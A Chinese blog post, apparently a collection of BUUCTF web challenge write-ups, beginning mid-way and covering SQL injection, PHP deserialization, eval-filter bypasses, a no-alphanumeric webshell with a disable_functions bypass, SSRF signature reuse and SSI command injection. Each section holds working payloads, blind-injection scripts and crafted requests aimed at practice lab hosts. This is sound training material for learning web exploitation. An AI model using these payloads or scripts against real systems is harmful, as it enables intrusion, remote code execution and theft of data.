    • 只要输入内容的字符数为 1,就能绕过前端限制,无论这个字符是普通 ASCII 字符还是 Unicode 字符。

    2. 后端校验的核心逻辑(PHP 环境)

    题目后端使用 PHP 处理请求,核心校验代码类似:

    <?php
    $goods = [
      1 => 2.0,
      2 => 5.0,
      3 => 8.0,
      4 => 1337.0
    ];
    ​
    $id = $_POST['id'];
    $price = $_POST['price'];
    ​
    // 后端校验1:商品ID是否存在
    if(!isset($goods[$id])) {
      die("操作失败。");
    }
    ​
    // 后端校验2:价格是否足够支付(关键!)
    $goods_price = $goods[$id];
    if(is_numeric($price) && floatval($price) >= $goods_price) {
      echo "操作成功!flag{xxxx}";
    } else {
      echo "Wrong commodity!";
    }
    ?>

    • 关键函数:is_numeric($price),该函数支持解析Unicode 数字字符,只要字符本身代表数值,就会返回true。

    • 例如:U+1085F这个字符,is_numeric("\\u{1085F}")返回true,floatval("\\u{1085F}")会将其解析为数值10000。

    3. 选择U+1085F的原因

    项目详情
    字符 𐡟(Imperial Aramaic Number Ten Thousand Sign)
    Unicode 编码 U+1085F
    数值含义 代表古阿拉姆语数字 “一万”,数值为10000
    长度 1 个字符,满足前端限制
    解析结果 PHP 中会被解析为10000,大于商品价格1337,满足支付条件

    五、一步一步复现解题

    步骤 1:选择合适的 Unicode 数字字符

    除了 wp 中使用的U+1085F,还有多个可用的 Unicode 数字字符,优先选择数值≥1337 的:

    字符Unicode 编码数值说明
    𐡟 U+1085F 10000 题目 wp 中使用的字符,兼容性最好
    Ⅴ U+2164 5 罗马数字 5,数值不足,仅举例
    Ⅹ U+2169 10 罗马数字 10,数值不足
    Ⅽ U+216D 100 罗马数字 100,数值不足
    Ⅿ U+216F 1000 罗马数字 1000,数值不足
    ↀ U+2180 1000 古罗马数字,数值不足
    ↁ U+2181 5000 古罗马数字,数值 5000,≥1337,可用

    步骤 2:构造购买请求

  • 打开靶机页面,在

    Purchase Unicorn

    表单中输入:

    • Item ID:4(目标商品 ID)

    • Price:粘贴 Unicode 字符𐡟(U+1085F)

  • 点击Purchase!提交请求

  • 步骤 3:获取 flag

    请求提交后,页面会提示操作成功,并直接返回 flag:

    flag{c72f35e6-a1e6-4430-bb66-67a5043eaf2f}

    [SWPU2019]Web1

    一、题目基础信息

    项目详情
    题目来源 SWPU 2019
    题目类型 SQL 注入
    核心考点 空格过滤绕过、敏感词过滤绕过、联合注入、报错注入辅助
    目标 注入后台数据库,获取 flag

    二、环境与功能分析

  • 页面功能

  • 靶机是一个广告信息管理系统,核心功能如下:

    • 登录 / 注册:用户需注册账号登录,获得普通用户权限。

    • 广告申请:提交广告(广告名、广告内容),状态为 “待管理确认”。

    • 广告详情:点击广告的「广告详情」按钮,跳转到detail.php?id=广告ID查看详情。

    2. 关键注入点定位

    查看页面源码,广告详情的链接为:

    <a href="detail.php?id=1">广告详情</a>

    结合提交广告后点击详情出现的 SQL 报错信息,可确定注入点为detail.php的id参数。

    三、完整解题步骤

    先注册

    随便注册个账号

    查看源码

    所以上传的广告应该是注入点

    报错了,是单引号闭合

    进行注入,#不行

    但是%23可以

    ……

    找到注入点

    1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

    1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

    1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'

    1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

    [BSidesCF 2019] Futurella 解题笔记


    一、题目基础信息

    项目详情
    题目来源 BSidesCF 2019 / BUUCTF Web 题
    核心考点 PHP 反序列化漏洞、魔术方法__destruct()利用、可变函数调用
    目标 通过构造反序列化 Payload,执行assert调用phpinfo(),在 phpinfo 页面的环境变量中获取 flag


    二、源码完整分析

    题目通过?source参数可直接查看源码,关键代码如下:

    <?php
    #error_reporting(0);
    class HelloPhp
    {
      // 两个public属性,可被反序列化完全控制
      public $a;
      public $b;
    ​
      // 构造函数:初始化$a为日期格式,$b为date函数
      public function __construct(){
          $this->a = "Y-m-d h:i:s";
          $this->b = "date";
      }
    ​
      // 析构函数:对象销毁时自动执行,核心漏洞点
      public function __destruct(){
          $a = $this->a;
          $b = $this->b;
          echo $b($a); // 可变函数调用:$b为函数名,$a为参数
      }
    }
    ​
    // 入口逻辑:接收GET参数`data`并反序列化
    $c = new HelloPhp;
    if(isset($_GET['source'])) {
      highlight_file(__FILE__);
      die(0);
    }
    @$ppp = unserialize($_GET["data"]);

    关键漏洞点拆解

  • 反序列化入口:$_GET["data"]直接传入unserialize(),用户可控输入,可构造任意HelloPhp对象。

  • 析构方法触发:__destruct()在对象销毁时自动执行,无需用户主动调用。

  • 可变函数调用:echo $b($a);中,$b是动态函数名,$a是动态参数,两者均可通过反序列化控制,实现任意 PHP 函数调用。


  • 三、漏洞利用原理

    1. 利用思路

    • 控制HelloPhp对象的$b属性为可执行代码的函数(如assert),$a属性为待执行的 PHP 代码(如phpinfo())。

    • 反序列化后,对象销毁时自动触发__destruct(),执行assert(phpinfo()),调用phpinfo()函数。

    • phpinfo()页面会输出服务器环境变量,题目 flag 就藏在其中。

    2. 为什么选择assert而非system?

    题目环境中system等系统命令执行函数大概率被禁用,而assert在 PHP 7.0-7.2 版本中支持执行字符串形式的 PHP 代码,可绕过限制。


    四、Payload 构造与利用步骤

    步骤 1:构造恶意序列化对象

    编写 PHP 脚本,修改HelloPhp对象的属性,生成序列化字符串:

    <?php
    class HelloPhp
    {
      // 控制$a为phpinfo(),$b为assert
      public $a = "phpinfo()";
      public $b = "assert";
    }
    ​
    // 生成序列化字符串
    $payload = new HelloPhp();
    echo serialize($payload);
    ?>

    步骤 2:获取序列化 Payload

    运行脚本后,得到序列化字符串:

    O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

    注:属性为public,序列化时无额外\\0前缀,可直接使用。

    步骤 3:提交 Payload 触发漏洞

    将序列化字符串传入?data参数,构造请求 URL:

    http://靶机IP:port/?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

    步骤 4:从 phpinfo 中提取 flag

    访问 URL 后,页面会显示完整的phpinfo()信息,在Environment Variables(环境变量)中找到FLAG字段,例如:

    flag{6bcfee89-5533-413a-9124-94433793c126}

    [极客大挑战 2019]FinalSQL

    获取所有数据库

    import requests
    from time import sleep
    url = "http://dd9a70f3-f3ef-42bd-8286-fe0bdccac825.node4.buuoj.cn:81/search.php?id=0^({})"
    ​
    # 如果为真时的关键字匹配
    ​
    base = 'Click others'
    ​
    盲注的字符集
    ​
    chars = ',abcdefghijklmnopqrstuvwxyz_ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    ​
    inject = "ord(substr((SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata)),{},1))={}"
    for i in range(1, 1000):
      continue_ = False
      for c in chars:
          u = url.format(inject.format(i,ord(c)))
          res = requests.get(u)
          while res.status_code == 429:
              sleep(1)
              res = requests.get(u)
          if base in res.text:
              print(c,end='',flush=True)
              continue_ = True
              break
      if not continue_:
          break

    information_schema,mysql,performance_schema,test,geek

    获取表

    inject = "ord(substr((SELECT(GROUP_CONCAT(table_name))FROM(information_schema.tables)WHERE(table_schema='geek')),{},1))={}"
    for i in range(1, 1000):
      continue_ = False
      for c in chars:
          u = url.format(inject.format(i,ord(c)))
          res = requests.get(u)
          while res.status_code == 429:
              sleep(1)
              res = requests.get(u)
          if base in res.text:
              print(c,end='',flush=True)
              continue_ = True
              break
      if not continue_:
          break

    F1naI1y,Flaaaaag

    获取列

    inject = "ord(substr((SELECT(GROUP_CONCAT(column_name))FROM(information_schema.columns)WHERE(table_name='F1naI1y')),{},1))={}"
    for i in range(1, 1000):
      continue_ = False
      for c in chars:
          u = url.format(inject.format(i,ord(c)))
          res = requests.get(u)
          while res.status_code == 429:
              sleep(1)
              res = requests.get(u)
          if base in res.text:
              print(c,end='',flush=True)
              continue_ = True
              break
      if not continue_:
          break

    id,username,password

    获取flag

    import requests
    import string
    from time import sleep
    url = "http://9da9cb18-3096-413a-9476-8a177ffec31a.node4.buuoj.cn:81/search.php?id=0^({})"
    ​
    # 如果为真时的关键字匹配
    ​
    base = 'Click others'
    ​
    # 盲注的字符集
    ​
    chars = string.printable
    ​
    inject = "ord(substr(reverse((SELECT(GROUP_CONCAT(password))FROM(geek.F1naI1y))),{},1))={}"
    for i in range(1, 1000):
      continue_ = False
      for c in chars:
          u = url.format(inject.format(i,ord(c)))
          res = requests.get(u)
          while res.status_code == 429:
              sleep(1)
              res = requests.get(u)
          if base in res.text:
              print(c,end='',flush=True)
              continue_ = True
              break
      if not continue_:
          break

    把flag反转一下

    }42e24a1d9455-24bb-fac4-fdf9-e863df96{galf
    flag{69fd368e-9fdf-4caf-bb42-5549d1a42e24}

    借鉴原文链接:https://blog.csdn.net/kw741951/article/details/141066234

    [CISCN 2019 初赛] Love Math


    一、题目基础信息

    项目详情
    题目来源 CISCN 2019 初赛 / BUUCTF
    题目类型 PHP 代码审计・Eval 注入
    核心考点 白名单函数绕过、进制转换动态生成字符串、PHP 动态变量调用、超全局变量利用
    目标 绕过三重限制,执行系统命令获取 flag

    二、源码审计与过滤规则分析

    1. 完整源码

    <?php
    error_reporting(0);
    if(!isset($_GET['c'])){
      show_source(__FILE__);
    }else{
      $content = $_GET['c'];
      // 限制1:长度必须小于80字符
      if (strlen($content) >= 80) {
          die("太长了不会算");
      }
      // 限制2:黑名单字符过滤
      $blacklist = [' ', '\\t', '\\r', '\\n', '\\'', '"', '`', '[', ']'];
      foreach ($blacklist as $blackitem) {
          if (preg_match('/' . $blackitem . '/m', $content)) {
              die("请不要输入奇奇怪怪的字符");
          }
      }
      // 限制3:白名单函数过滤
      $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh'];
      preg_match_all('/[a-zA-Z_x7f-\\xff][a-zA-Z_0-9x7f-\\xff]*/', $content, $used_fu);
      foreach ($used_fu[0] as $func) {
          if (!in_array($func, $whitelist)) {
              die("请不要输入奇奇怪怪的函数");
          }
      }
      // 核心漏洞:直接执行用户输入
      eval('echo '.$content.';');
    }

    2. 三重限制拆解

    限制类型具体规则影响
    长度限制 strlen($content) < 80 Payload 必须极度精简,无冗余字符
    黑名单字符 禁止空格、\\t、\\r、\\n、单/双引号、反引号、方括号 无法直接写system('cat /flag')这类常规命令
    白名单函数 仅允许abs/acos/acosh/asin/asinh/atan2/atan/atanh 常规系统命令函数(如system)被拦截

    三、核心漏洞原理(绕过逻辑)

    1. 关键 PHP 特性利用

    特性作用应用场景
    动态变量调用 $$var $pi = "_GET"; $$pi 等价于$_GET 动态访问超全局变量,避免直接写$_GET
    进制转换函数 base_convert()/dechex()可将十进制数字转换为指定进制字符串 动态生成hex2bin/_GET,避免直接写标识符被白名单拦截
    数组形式函数调用 ($_GET){pi}($_GET){abs} 等价于$_GET['pi']($_GET['abs']) 绕过方括号黑名单,实现无引号 / 无括号的函数调用

    2. 绕过思路拆解

  • 动态生成hex2bin函数名:利用base_convert(37907361743,10,36)将十进制数字转换为 36 进制字符串,得到hex2bin,避免直接写被白名单拦截。

  • 动态生成_GET字符串:先将_GET的 ASCII 码转为十六进制5f474554,再用dechex(1598506324)(十进制对应十六进制5f474554)生成十六进制字符串,最后用hex2bin转换为_GET。

  • 赋值给变量,动态调用超全局变量:将_GET赋值给$pi,此时$$pi等价于$_GET。

  • 无括号调用系统命令:用($$pi){pi}(($$pi){abs})调用$_GET['pi']($_GET['abs']),通过 URL 参数传递system和cat /flag,实现命令执行。


  • 四、Payload 构造完整步骤

    步骤 1:生成hex2bin函数名

    // 将十进制数字37907361743转换为36进制,得到字符串"hex2bin"
    base_convert(37907361743, 10, 36)

    步骤 2:生成_GET字符串

    // 1. "_GET"的ASCII码十六进制:5f474554
    // 2. 十六进制转十进制:0x5f474554 = 1598506324
    // 3. 十进制转十六进制字符串:dechex(1598506324) → "5f474554"
    // 4. 十六进制转原始字符串:hex2bin("5f474554") → "_GET"
    hex2bin(dechex(1598506324))

    步骤 3:组合生成超全局变量$_GET

    // 将步骤1和步骤2结合,赋值给变量$pi
    $pi=base_convert(37907361743,10,36)(dechex(1598506324));
    // 此时$$pi 等价于 $_GET

    步骤 4:构造无括号函数调用

    // 调用形式:$_GET['pi']($_GET['abs'])
    // 转换为无方括号形式:($$pi){pi}(($$pi){abs})
    ($$pi){pi}(($$pi){abs})

    步骤 5:组合完整 Payload(长度 < 80)

    $pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})

    步骤 6:构造最终 URL,传递参数

    ?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag


    五、完整解题流程

  • 访问靶机:查看源码,确认过滤规则和 Eval 注入漏洞。

  • 构造 Payload:按照上述步骤生成符合所有限制的字符串。

  • 提交请求:访问构造好的 URL,通过pi参数传递system,abs参数传递cat /flag。

  • 获取 Flag:请求执行后,页面会直接输出cat /flag的结果,即 flag。

  • [极客大挑战 2019]RCE ME


    一、题目基础信息

    项目详情
    题目来源 极客大挑战 2019 / BUUCTF
    核心考点 无字母数字 RCE、URL 编码取反绕过、PHP7 GC UAF 漏洞绕过disable_functions
    最终 flag flag{b49a25eb-a297-42d1-a78c-56dfe96b3a87}

    二、步骤 1:源码审计,明确限制

    打开靶机页面,源码如下:

    <?php
    error_reporting(0);
    if(isset($_GET['code'])){
      $code=$_GET['code'];
      // 限制1:Payload长度必须≤40字符
      if(strlen($code)>40){
          die("This is too Long.");
      }
      // 限制2:禁止所有字母、数字([A-Za-z0-9])
      if(preg_match("/[A-Za-z0-9]+/",$code)){
          die("NO.");
      }
      // 核心漏洞:直接eval执行用户输入
      @eval($code);
    }
    ?>

    关键限制拆解:

  • 不能用任何字母、数字,常规system()/phpinfo()无法直接写;

  • Payload 长度必须≤40,需要精简无冗余;

  • 后端直接eval()执行,是注入入口。


  • 三、步骤 2:生成无字母数字一句话木马 Payload

    核心思路:按位取反 + URL 编码绕过

    PHP 中~是按位取反运算符,对目标字符串取反后再 URL 编码,生成的字符串不含字母数字,可绕过preg_match过滤。

    本地生成 Payload

    编写本地 PHP 脚本,对一句话木马assert(eval($_POST[cmd]));取反并 URL 编码:

    <?php
    $payload = "assert(eval(\\$_POST[cmd]));";
    echo urlencode(~$payload);
    ?>

    运行脚本后,得到最终 Payload:

    %9E%8C%8C%9A%8D%8B%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6

    拼接完整 URL访问:

    http://你的靶机地址/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);

    注:(取反字符串)(取反字符串) 是 PHP 的可变函数调用格式,还原后为assert(eval($_POST[cmd]));


    四、步骤 3:蚁剑连接配置

  • 打开蚁剑,点击「添加数据」;

  • 填写配置:

    • URL 地址:填写拼接好的完整 Payload URL;

    • 连接密码:cmd(和一句话木马的$_POST[cmd]对应);

    • 编码设置:UTF8;

    • 连接类型:PHP;

  • 点击「测试连接」,提示 “连接成功”,配置生效。


  • 五、步骤 4:绕过disable_functions

    问题:终端执行命令返回ret=127

    原因:靶机的disable_functions禁用了system/exec/shell_exec等所有系统命令执行函数,蚁剑终端默认调用这些函数,无法执行命令。

    蚁剑插件绕过

  • 右键你的靶机连接 → 「加载插件」→「辅助工具」→「绕过 disable_functions」;

  • 模式选择:PHP7_GC_UAF(适配你的 PHP 7.0 环境,利用垃圾回收 UAF 漏洞绕过禁用列表);

    点击「开始」,插件自动完成绕过配置。


  • 六、步骤 5:获取最终 flag

  • 打开蚁剑终端;

  • 执行命令:/readflag(靶机提供的 SUID 程序,以 root 权限读取 /flag 文件);

  • 终端直接输出 flag:flag{b49a25eb-a297-42d1-a78c-56dfe96b3a87}。

  • [De1CTF 2019]SSRF Me

    一、题目基础信息

    项目详情
    题目来源 De1CTF 2019 / BUUCTF
    核心考点 SSRF 漏洞、WAF 绕过、签名验证复用、二次读写请求
    flag 位置 靶机根目录 ./flag.txt
    关键限制 1. WAF 拦截gopher:///file://协议;2. param必须从 GET 请求读取;3. 请求需携带合法签名

    二、源码核心逻辑拆解

    1. 关键路由与参数读取

    # 处理任务请求的核心路由(易错点:路径是/De1ta,数字1,不是字母l)
    @app.route('/De1ta', methods=['GET', 'POST'])
    def challenge():
      # ✅ action 和 sign 从 Cookie 读取
      action = urllib.unquote(request.cookies.get("action"))
      sign = urllib.unquote(request.cookies.get("sign"))
      # ❌ 易错!param 必须从 URL 的 GET 参数读取,Cookie 里的 param 完全无效!
      param = urllib.unquote(request.args.get("param", ""))

    2. 二次读写漏洞逻辑(获取 flag 的核心)

    def Exec(self):
      if self.checkSign(): # 验证签名
          # 第一步:scan操作——读取param对应的URL,写入临时文件
          if "scan" in self.action:
              tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
              resp = scan(self.param) # SSRF请求:读取flag.txt内容
              tmpfile.write(resp) # 把flag写入临时文件
          # 第二步:read操作——读取临时文件,返回给用户
          if "read" in self.action:
              f = open("./%s/result.txt" % self.sandbox, 'r')
              result['data'] = f.read() # 把flag返回给用户

    关键要求:action必须同时包含scan和read两个字符串,才能完成 “写入 flag→读取 flag” 的完整流程。

    3. 签名复用原理

    def getSign(action, param):
      # 签名规则:secret_key + param + action 的 MD5 值,顺序不能反
      return hashlib.md5(secret_key + param + action).hexdigest()

    利用拼接顺序,用param=flag.txtread + action=scan,生成和param=flag.txt + action=readscan完全相同的签名:

    • 拼接 1:secret_key + "flag.txtread" + "scan" → secret_key + "flag.txtreadscan"

    • 拼接 2:

      secret_key + "flag.txt" + "readscan"

      →

      secret_key + "flag.txtreadscan"

      两个拼接结果完全一致,MD5 值也完全相同!


    三、解题步骤

    步骤 1:获取匹配的合法签名

    操作:访问/geneSign路由,用param=flag.txtread生成签名:

    GET /geneSign?param=flag.txtread HTTP/1.1
    Host: e3a68d4a-2fb8-4fed-b9e8-409c7eca6efb.node5.buuoj.cn:81

    响应结果:拿到签名 870e6f170e45b21162ad30142ea2bae4,和目标请求的签名完全匹配。


    步骤 2:发送最终请求,获取 flag

    最终请求(Burp 中发送):

    GET /De1ta?param=flag.txt HTTP/1.1
    Host: e3a68d4a-2fb8-4fed-b9e8-409c7eca6efb.node5.buuoj.cn:81
    Cookie: action=readscan; sign=870e6f170e45b21162ad30142ea2bae4
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close

    响应结果:成功拿到 flag 的 JSON 数据:

    {"code": 200, "data": "flag{a4b32834-007c-47ec-a0dd-6692dad5a711}\\n"}

    [BJDCTF2020] EasySearch 1 解题笔记


    一、题目基础信息

    项目详情
    题目来源 BJDCTF2020 / BUUCTF
    核心考点 目录备份文件泄露、MD5 弱类型碰撞、SSI(服务器端包含)注入漏洞
    目标 绕过登录验证,利用 SSI 漏洞执行系统命令获取 flag

    二、步骤 1:目录扫描,发现备份文件

    操作过程

  • 尝试常规 SQL 注入无果后,使用

    dirsearch

    工具扫描目录:

    python dirsearch.py -u "http://你的靶机地址/"

  • 关键注意点:扫描时需关闭代理,否则会漏扫出index.php.swp文件(vim 编辑文件时生成的临时备份文件)。

  • 关键文件

    • /index.php.swp:vim 编辑index.php时生成的临时文件,可恢复出完整源码,是解题的突破口。

    恢复源码

    使用 vim 命令恢复备份文件:

    vim -r index.php.swp

    即可得到完整的index.php源码。


    三、步骤 2:源码审计,定位漏洞点

    源码关键逻辑

    <?php
    ob_start();
    function get_hash(){
      $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#';
      $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)];
      $content = uniqid().$random;
      return sha1($content);
    }
    ​
    header("Content-Type: text/html;charset=utf-8");
    if(isset($_POST['username']) and $_POST['username'] != '')
    {
      $admin = '6d0bc1';
      // 弱类型验证:只需MD5前6位等于'6d0bc1'即可通过
      if ( $admin == substr(md5($_POST['password']),0,6) ) {
          echo "<script>alert('[+] Welcome to manage system')</script>";
          // 生成随机文件名的shtml文件
          $file_shtml = "public/".get_hash().".shtml";
          $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
          // 把用户可控的username写入文件,无任何过滤
          $text = '
          <h1>Hello, '.$_POST['username'].'.</h1>
          ';
          fwrite($shtml,$text);
          fclose($shtml);
      } else {
          echo "<script>alert('[!] Failed')</script>";
      }
    }
    ?>

    漏洞分析

  • 弱类型密码验证:$admin == substr(md5($_POST['password']),0,6),仅需password的 MD5 哈希前 6 位为6d0bc1即可通过验证,无需完整匹配。

  • SSI 注入漏洞:登录成功后,服务器会生成.shtml文件(支持解析服务器端包含指令),并将用户可控的username直接写入文件,无任何过滤,因此可插入恶意 SSI 指令执行任意系统命令。


  • 四、步骤 3:MD5 前 6 位碰撞,获取有效 password

    编写碰撞脚本(Python)

    import hashlib
    ​
    for i in range(100000000000):
      a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
    ​
      if a[0:6] == '6d0bc1':
          print(i)
    ​

    运行结果

    脚本会输出有效 password,常见结果为20200666或2305004,两者的 MD5 前 6 位均为6d0bc1,可直接使用。


    五、步骤 4:构造 SSI 注入 Payload,执行命令拿 flag

    SSI 漏洞原理

    .shtml文件会解析服务器端包含指令,其中<!–#exec cmd="命令"–>指令可执行任意系统命令,并将结果嵌入 HTML 中返回给客户端。

    构造 Payload(需 URL 编码)

  • 原始 SSI 指令(直接执行 find 命令查找 flag 文件):

    <!–#exec cmd="find / -name flag*"–>

  • URL 编码后的 Payload(POST 提交时使用,避免特殊字符被转义):

    %3C%21–%23exec+cmd%3D%22find+%2F+-name+flag*%22–%3E

  • 登录请求(POST)

    POST /index.php HTTP/1.1
    Host: 你的靶机地址
    Content-Type: application/x-www-form-urlencoded
    ​
    username=<!–#exec cmd="cat /var/www/html/flag"–>&password=20200666

    或使用编码后的 username:

    username=%3C%21–%23exec+cmd%3D%22cat+%2Fvar%2Fwww%2Fhtml%2Fflag%22–%3E&password=20200666

    访问生成的 shtml 文件

    登录成功后,服务器会返回生成的.shtml文件路径(如public/xxxx.shtml),访问该文件即可看到命令执行结果,获取 flag。

    [WUSTCTF2020] 颜值成绩查询

    一、题目核心信息与考点确认

    1. 基础环境

    • 靶机地址:http://19920a26-9452-4fd4-96db-52fceaa3ac71.node5.buuoj.cn:81/?stunum=

    • 交互逻辑:

      • 输入stunum=1 → 返回Hi admin, your score is: 100(存在的用户)

      • 输入不存在的学号 → 返回student number not exists.

    • 关键发现:空格被过滤,需用括号()替代空格;注入点为数字型,无需闭合引号

    2. 核心考点

  • 布尔盲注:通过页面状态差异推断 SQL 执行结果

  • 二分法优化:将每个字符的爆破次数从 128 次降至 7 次,大幅提升效率

  • SQL 函数组合:ord()/ascii()+substr()+group_concat()实现数据提取

  • 空格过滤绕过:用括号替代空格,构造合法注入语句


  • 二、脚本核心原理深度解析

    1. 关键语法与函数说明

    语法 / 函数作用示例
    1*(条件) 将布尔值转为数字(真 = 1,假 = 0),适配数字型注入点 1*(1>0) → 1
    ord(字符) 获取字符的 ASCII 值(MySQL 中同ascii()) ord('a') → 97
    substr(字符串,位置,长度) 截取字符串,位置从 1 开始 substr('abc',2,1) → 'b'
    group_concat(字段) 拼接同组所有字段值,用逗号分隔 拼接所有表名 / 字段名
    (low + high) >> 1 位运算实现整数除法,等价于(low+high)//2 二分法计算中间值

    2. 盲注判断逻辑

    • 当条件为真时 → 表达式结果为 1 → 页面返回your score is: 100

    • 当条件为假时 → 表达式结果为 0 → 页面返回student number not exists.

    • 脚本通过判断页面是否包含your score is: 100来推断条件真假

    3. 完整 Payload 结构

    1*(ord(substr((查询语句),字符位置,1))>中间值)

    • 用1*将布尔结果转为数字,适配数字型注入点

    • 用括号替代空格,绕过空格过滤限制

    • 通过>比较 ASCII 值,实现二分法逐字符爆破


    三、脚本完整解析

    import requests # 导入HTTP请求库,用于发送请求
    import time     # 导入时间库,用于设置请求间隔,避免被拦截
    ​
    # 靶机URL,包含注入点参数stunum=
    url = "http://19920a26-9452-4fd4-96db-52fceaa3ac71.node5.buuoj.cn:81/?stunum="
    ​
    result = "" # 存储最终爆破结果
    i = 0       # 字符位置计数器,从1开始
    ​
    while (True):
      i = i + 1 # 字符位置+1,开始爆破第i个字符
      low = 32   # ASCII值下界(空格)
      high = 127 # ASCII值上界(DEL,覆盖所有可打印字符)
    ​
      while (low < high): # 二分法循环,直到找到精确ASCII值
          mid = (low + high) >> 1 # 计算中间值,位运算效率更高
           
          # 【Payload切换区】按需注释/取消注释,对应不同爆破阶段
          # 1. 爆破数据库名
          # payload = "1*(ord(substr(database(), %d,1))>%d)" % (i, mid)
           
          # 2. 爆破当前数据库所有表名
          # payload = "1*(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)" % (i , mid)
           
          # 3. 爆破flag表的所有字段名
          # payload = "1*(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),%d,1))>%d)" % (i, mid)
           
          # 4. 爆破ctf数据库flag表的value字段值(最终flag)
          payload = "1*(ord(substr((select(group_concat(value))from(ctf.flag)),%d,1))>%d)" % (i, mid)
           
          r = requests.get(url + payload) # 发送GET请求
          time.sleep(0.5) # 延迟0.5秒,避免请求过快被WAF拦截
          r.encoding = "utf-8" # 设置编码为UTF-8,防止中文乱码
           
          # 判断条件是否成立
          if "your score is: 100" in r.text:
              low = mid + 1 # 条件成立,调整下界,继续查找更大值
          else:
              high = mid     # 条件不成立,调整上界,继续查找更小值
    ​
      # 处理当前字符
      last = result
      if low != 32: # 如果不是空格,说明还有字符
          result += chr(low) # 将ASCII值转为字符,添加到结果中
      else:
          break # 遇到空格,说明数据已全部爆破完成,退出循环
      print(result) # 实时输出当前爆破结果


    四、分阶段爆破流程阶段

    1:爆破数据库名

  • 启用 Payload:payload = "1*(ord(substr(database(), %d,1))>%d)" % (i, mid)

  • 执行脚本,得到数据库名:ctf

  • 阶段 2:爆破表名

  • 启用 Payload:payload = "1*(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)" % (i , mid)

  • 执行脚本,得到表名:flag

  • 阶段 3:爆破字段名

  • 启用 Payload:payload = "1*(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),%d,1))>%d)" % (i, mid)

  • 执行脚本,得到字段名:value

  • 阶段 4:爆破 flag 值

  • 启用 Payload:payload = "1*(ord(substr((select(group_concat(value))from(ctf.flag)),%d,1))>%d)" % (i, mid)

  • 执行脚本,得到最终 flag:flag{xxx-xxx-xxx-xxx}

  • 赞(0)
    未经允许不得转载:171主机测评 » BUUCTF-WEB详细解题攻略第二页(按解出数降序排序)
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址